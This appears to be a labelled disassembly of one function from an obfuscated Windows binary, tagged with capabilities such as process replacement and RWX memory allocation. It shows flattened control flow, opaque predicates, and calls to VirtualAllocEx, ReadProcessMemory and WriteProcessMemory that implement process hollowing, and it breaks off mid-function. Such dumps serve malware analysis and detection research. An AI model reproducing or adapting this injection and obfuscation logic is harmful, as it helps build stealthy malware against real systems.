Function at 0x100031c0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x104
mov eax, dword [0x1006a200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
mov edx, ecx
add edx, 0x84f358e1
sub edx, 1
sub edx, 0x84f358e1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x106], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x105], al
mov dword [ebp - 0x10c], 0x83e4bdee
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x110], eax
sub eax, 0x80226087
je 0x10008500
jmp 0x1000323b
mov eax, dword [ebp - 0x110]
sub eax, 0x8093b89f
je 0x10008ff7
jmp 0x10003251
mov eax, dword [ebp - 0x110]
sub eax, 0x81788ee3
je 0x1000afdd
jmp 0x10003267
mov eax, dword [ebp - 0x110]
sub eax, 0x81ccd3b0
je 0x1000b2ac
jmp 0x1000327d
mov eax, dword [ebp - 0x110]
sub eax, 0x83316adc
je 0x10007ed1
jmp 0x10003293
mov eax, dword [ebp - 0x110]
sub eax, 0x83e4bdee
je 0x100055be
jmp 0x100032a9
mov eax, dword [ebp - 0x110]
sub eax, 0x83edd1dc
je 0x1000957e
jmp 0x100032bf
mov eax, dword [ebp - 0x110]
sub eax, 0x843177bf
je 0x1000ad88
jmp 0x100032d5
mov eax, dword [ebp - 0x110]
sub eax, 0x857f8776
je 0x1000a498
jmp 0x100032eb
mov eax, dword [ebp - 0x110]
sub eax, 0x85c37647
je 0x10006ae2
jmp 0x10003301
mov eax, dword [ebp - 0x110]
sub eax, 0x8651ea38
je 0x10009be5
jmp 0x10003317
mov eax, dword [ebp - 0x110]
sub eax, 0x870c6c60
je 0x100086f7
jmp 0x1000332d
mov eax, dword [ebp - 0x110]
sub eax, 0x8719db73
je 0x10008980
jmp 0x10003343
mov eax, dword [ebp - 0x110]
sub eax, 0x871d2aab
je 0x10007b0b
jmp 0x10003359
mov eax, dword [ebp - 0x110]
sub eax, 0x87404ac5
je 0x100077b7
jmp 0x1000336f
mov eax, dword [ebp - 0x110]
sub eax, 0x87d5074c
je 0x10008a51
jmp 0x10003385
mov eax, dword [ebp - 0x110]
sub eax, 0x880e786f
je 0x100062bf
jmp 0x1000339b
mov eax, dword [ebp - 0x110]
sub eax, 0x882a9f8d
je 0x100069c4
jmp 0x100033b1
mov eax, dword [ebp - 0x110]
sub eax, 0x884cdeba
je 0x10007e1d
jmp 0x100033c7
mov eax, dword [ebp - 0x110]
sub eax, 0x8851bd4c
je 0x100092a7
jmp 0x100033dd
mov eax, dword [ebp - 0x110]
sub eax, 0x89f5ae74
je 0x1000a0d4
jmp 0x100033f3
mov eax, dword [ebp - 0x110]
sub eax, 0x8a64d036
je 0x10005b30
jmp 0x10003409
mov eax, dword [ebp - 0x110]
sub eax, 0x8b53c700
je 0x100087ba
jmp 0x1000341f
mov eax, dword [ebp - 0x110]
sub eax, 0x8bddfd40
je 0x1000b08e
jmp 0x10003435
mov eax, dword [ebp - 0x110]
sub eax, 0x8c021b48
je 0x1000b001
jmp 0x1000344b
mov eax, dword [ebp - 0x110]
sub eax, 0x8c9addcf
je 0x10009a67
jmp 0x10003461
mov eax, dword [ebp - 0x110]
sub eax, 0x8dc88264
je 0x10006d33
jmp 0x10003477
mov eax, dword [ebp - 0x110]
sub eax, 0x8e535ab2
je 0x1000673e
jmp 0x1000348d
mov eax, dword [ebp - 0x110]
sub eax, 0x8f43e10c
je 0x10009b45
jmp 0x100034a3
mov eax, dword [ebp - 0x110]
sub eax, 0x90d97562
je 0x100061a2
jmp 0x100034b9
mov eax, dword [ebp - 0x110]
sub eax, 0x912a46c6
je 0x10005ccb
jmp 0x100034cf
mov eax, dword [ebp - 0x110]
sub eax, 0x919d257e
je 0x10009ada
jmp 0x100034e5
mov eax, dword [ebp - 0x110]
sub eax, 0x91b4ae8f
je 0x10008288
jmp 0x100034fb
mov eax, dword [ebp - 0x110]
sub eax, 0x93e9219c
je 0x10008723
jmp 0x10003511
mov eax, dword [ebp - 0x110]
sub eax, 0x949863bf
je 0x10006344
jmp 0x10003527
mov eax, dword [ebp - 0x110]
sub eax, 0x95092577
je 0x10006a5a
jmp 0x1000353d
mov eax, dword [ebp - 0x110]
sub eax, 0x950f1bd6
je 0x1000915d
jmp 0x10003553
mov eax, dword [ebp - 0x110]
sub eax, 0x95c0b95b
je 0x10008180
jmp 0x10003569
mov eax, dword [ebp - 0x110]
sub eax, 0x95df552b
je 0x10009383
jmp 0x1000357f
mov eax, dword [ebp - 0x110]
sub eax, 0x96820b8f
je 0x10007f90
jmp 0x10003595
mov eax, dword [ebp - 0x110]
sub eax, 0x9772b358
je 0x10006fb9
jmp 0x100035ab
mov eax, dword [ebp - 0x110]
sub eax, 0x98d5a58d
je 0x100065df
jmp 0x100035c1
mov eax, dword [ebp - 0x110]
sub eax, 0x99a69a9d
je 0x10007a62
jmp 0x100035d7
mov eax, dword [ebp - 0x110]
sub eax, 0x9a0f30cc
je 0x10008e30
jmp 0x100035ed
mov eax, dword [ebp - 0x110]
sub eax, 0x9acad815
je 0x10008c05
jmp 0x10003603
mov eax, dword [ebp - 0x110]
sub eax, 0x9da79952
je 0x100074f8
jmp 0x10003619
mov eax, dword [ebp - 0x110]
sub eax, 0x9e8715ec
je 0x1000838b
jmp 0x1000362f
mov eax, dword [ebp - 0x110]
sub eax, 0x9ea98a3d
je 0x100078ce
jmp 0x10003645
mov eax, dword [ebp - 0x110]
sub eax, 0x9ed98479
je 0x100068a6
jmp 0x1000365b
mov eax, dword [ebp - 0x110]
sub eax, 0xa0d21f80
je 0x10009222
jmp 0x10003671
mov eax, dword [ebp - 0x110]
sub eax, 0xa16989d9
je 0x1000a448
jmp 0x10003687
mov eax, dword [ebp - 0x110]
sub eax, 0xa29ea741
je 0x1000a6c3
jmp 0x1000369d
mov eax, dword [ebp - 0x110]
sub eax, 0xa4f03a1b
je 0x10009d9d
jmp 0x100036b3
mov eax, dword [ebp - 0x110]
sub eax, 0xa50b1e68
je 0x10006503
jmp 0x100036c9
mov eax, dword [ebp - 0x110]
sub eax, 0xa5770b23
je 0x10007311
jmp 0x100036df
mov eax, dword [ebp - 0x110]
sub eax, 0xa6539f0f
je 0x1000a272
jmp 0x100036f5
mov eax, dword [ebp - 0x110]
sub eax, 0xa70c7523
je 0x10008eb5
jmp 0x1000370b
mov eax, dword [ebp - 0x110]
sub eax, 0xa720a047
je 0x10007e00
jmp 0x10003721
mov eax, dword [ebp - 0x110]
sub eax, 0xa76261ab
je 0x100083ac
jmp 0x10003737
mov eax, dword [ebp - 0x110]
sub eax, 0xa7e5e18e
je 0x1000a68c
jmp 0x1000374d
mov eax, dword [ebp - 0x110]
sub eax, 0xa81cad69
je 0x1000aedb
jmp 0x10003763
mov eax, dword [ebp - 0x110]
sub eax, 0xa8ca086a
je 0x10008078
jmp 0x10003779
mov eax, dword [ebp - 0x110]
sub eax, 0xa99611b0
je 0x100097d1
jmp 0x1000378f
mov eax, dword [ebp - 0x110]
sub eax, 0xa9977a4c
je 0x10005881
jmp 0x100037a5
mov eax, dword [ebp - 0x110]
sub eax, 0xaa601620
je 0x1000951e
mov bl, byte [ebp - 0x106]
mov dh, byte [ebp - 0x105]
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd3672d40
mov ecx, 0x753cb5bd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b328
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x10018398]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x37b5cdd6
jmp 0x1000b328
mov dl, 1
mov eax, 0x20836bb8
mov ecx, 0xcfc647f1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b328
mov dword [ebp - 0x10c], 0x37e61c72
jmp 0x1000b328
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10018338]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10018334]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0xef405cc5
jmp 0x1000b328
mov dword [ebp - 0x10c], 0xc0ffedde
jmp 0x1000b328
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10018200]
movss dword [eax], xmm0
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3d61c8bc
mov ecx, 0x791c403e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b328
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdce509fb
mov ecx, 0x624e4da7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b328
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10018328]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0xc5874662
jmp 0x1000b328
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100181f0]
movss dword [eax], xmm0
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
mov edx, ecx
sub edx, 0x4234eeaa
sub edx, 1
add edx, 0x4234eeaa
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x24e72cd0
mov ecx, 0xde0303f5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b328
mov dword [ebp - 0x10c], 0x61eb4b06
jmp 0x1000b328
mov dword [ebp - 0x10c], 0xeaaed1ba
jmp 0x1000b328
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100181e8]
movss dword [eax], xmm0
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
mov edx, ecx
sub edx, 0x7119426
sub edx, 1
add edx, 0x7119426
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7a17bdc2
mov ecx, 0x85c37647
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b328
mov dword [ebp - 0x10c], 0xd893134c
jmp 0x1000b328
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7f6d91b2
mov ecx, 0xcb94760b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b328
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
mov edx, ecx
add edx, 0x9f3e2aca
sub edx, 1
sub edx, 0x9f3e2aca
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb00950d3
mov ecx, 0xd6e49abd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b328
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1ecb23f0
mov ecx, 0xf087dfa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b328
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
mov edx, eax
sub edx, 0xa8846c0
sub edx, 1
add edx, 0xa8846c0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd66661ac
mov ecx, 0xaa6e52d3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b328
mov dl, 1
mov eax, 0xab7558f4
mov ecx, 0xbe7d305f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b328
mov dword [ebp - 0x10c], 0xab7558f4
jmp 0x1000b328
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x100182c4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x100182c0]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x5fb35f69
jmp 0x1000b328
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
mov edx, ecx
add edx, 0xbb839924
sub edx, 1
sub edx, 0xbb839924
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbedb3b71
mov ecx, 0x62e3ab41
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b328
mov dl, 1
mov eax, 0x113e53b0
mov ecx, 0x884cdeba
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b328
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100182ac]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100182a8]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x31c89341
jmp 0x1000b328
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
mov edx, eax
add edx, 0x44336206
sub edx, 1
sub edx, 0x44336206
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x22336e74
mov ecx, 0xbcfbd72f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b328
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100181a8]
movss dword [eax], xmm0
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
mov edx, ecx
sub edx, 0x9681992a
sub edx, 1
add edx, 0x9681992a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x25b0d740
mov ecx, 0x4a1a66cd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b328
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100181a4]
movss dword [eax], xmm0
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
mov edx, ecx
sub edx, 0xf6400cb5
sub edx, 1
add edx, 0xf6400cb5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa81cad69
mov ecx, 0xf551cd69
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b328
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
mov edx, eax
sub edx, 0x34b5987a
sub edx, 1
add edx, 0x34b5987a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd45d925f
mov ecx, 0xcbee8f60
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b328
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x1001828c]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x509a5177
jmp 0x1000b328
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x10018270]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0xa76261ab
jmp 0x1000b328
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x1001826c]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x61ffa5a2
jmp 0x1000b328
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
mov edx, ecx
add edx, 0x592ed061
sub edx, 1
sub edx, 0x592ed061
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x279d4e57
mov ecx, 0x7e4004b9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b328
mov dword [ebp - 0x10c], 0x450a07a0
jmp 0x1000b328
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x10018254]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0xcff864
jmp 0x1000b328
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x10018198]
movss dword [eax], xmm0
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
mov edx, eax
add edx, 0x4f0f5865
sub edx, 1
sub edx, 0x4f0f5865
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x14bbfd64
mov ecx, 0x6e473656
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b328
mov dword [ebp - 0x10c], 0x65810691
jmp 0x1000b328
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
mov edx, eax
add edx, 0xd953556
sub edx, 1
sub edx, 0xd953556
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x19e437c6
mov ecx, 0x4b8625bb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b328
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
mov edx, eax
sub edx, 0xfdde0e10
sub edx, 1
add edx, 0xfdde0e10
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x68e09adb
mov ecx, 0xd20a3b9e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b328
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x10018218]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x5a715d07
jmp 0x1000b328
mov dl, byte [ebp - 0x85]
mov eax, 0x6ad86c48
mov ecx, 0x603d6f14
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b328
mov dl, byte [ebp - 0x7f]
mov eax, 0x2f534bc9
mov ecx, 0x6ac33c9a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b328
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xde167ea4
mov ecx, 0xff035ea2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b328
mov dword [ebp - 0x10c], 0x581b38c3
jmp 0x1000b328
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
mov edx, eax
sub edx, 0xade39505
sub edx, 1
add edx, 0xade39505
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf3601784
mov ecx, 0x15032dd9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b328
mov dl, byte [ebp - 0x7d]
mov eax, 0xf02992
mov ecx, 0xb5fef48
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b328
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0xd8]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0xd4]
mov edx, dword [edx]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc0]
cmp dword [eax], 0
sete al
and al, 1
mov byte [ebp - 0x71], al
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
mov edx, ecx
sub edx, 0x2d96b3e1
sub edx, 1
add edx, 0x2d96b3e1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x47059266
mov ecx, 0xcb1c9137
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b328
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xda36cc64
mov ecx, 0xca85efef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b328
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0xb8]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xa8]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10002f70
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0xa4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xac]
mov edx, dword [eax]
mov eax, dword [ebp - 0xb8]
mov esi, dword [eax]
mov eax, dword [ebp - 0xa8]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0xd7abfd43
mov ecx, 0x919d257e
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b328
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x10c], 0x64f77d06
jmp 0x1000b328
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xa8]
imul edx, dword [edx], 0x28
add eax, edx
add ecx, dword [eax + 0x14]
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov edx, dword [ebp - 0xb8]
mov edx, dword [edx]
mov esi, dword [ebp - 0xa8]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
sub eax, 0xb92050db
sub eax, edx
add eax, 0xb92050db
add ecx, eax
mov eax, dword [ebp - 0xb0]
mov dword [eax], ecx
mov dword [ebp - 0x10c], 0x1840d39b
jmp 0x1000b328
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0x5c]
mov dword [eax], ecx
mov dword [ebp - 0x10c], 0x3593b832
jmp 0x1000b328
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4bf65cff
mov ecx, 0x6a013c61
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b328
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x10c], 0xdd1e5d8e
jmp 0x1000b328
mov ax, word [ebp - 0x32]
movzx eax, ax
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xfff
mov ecx, 0xffffffff
xor ecx, 0x58215458
or eax, edx
or ecx, 0x58215458
xor eax, 0xffffffff
and eax, ecx
mov ecx, dword [ebp - 0x38]
sub ecx, 0xc13cfc6e
add ecx, eax
add ecx, 0xc13cfc6e
mov eax, dword [ebp - 0x90]
mov dword [eax], ecx
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd4]
mov edx, dword [eax]
mov eax, dword [ebp - 0x8c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0xc5219b3c
mov ecx, 0x67b5113b
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b328
mov eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x10c], 0xc5219b3c
jmp 0x1000b328
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
mov edx, ecx
sub edx, 0xb7b47b14
sub edx, 1
add edx, 0xb7b47b14
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
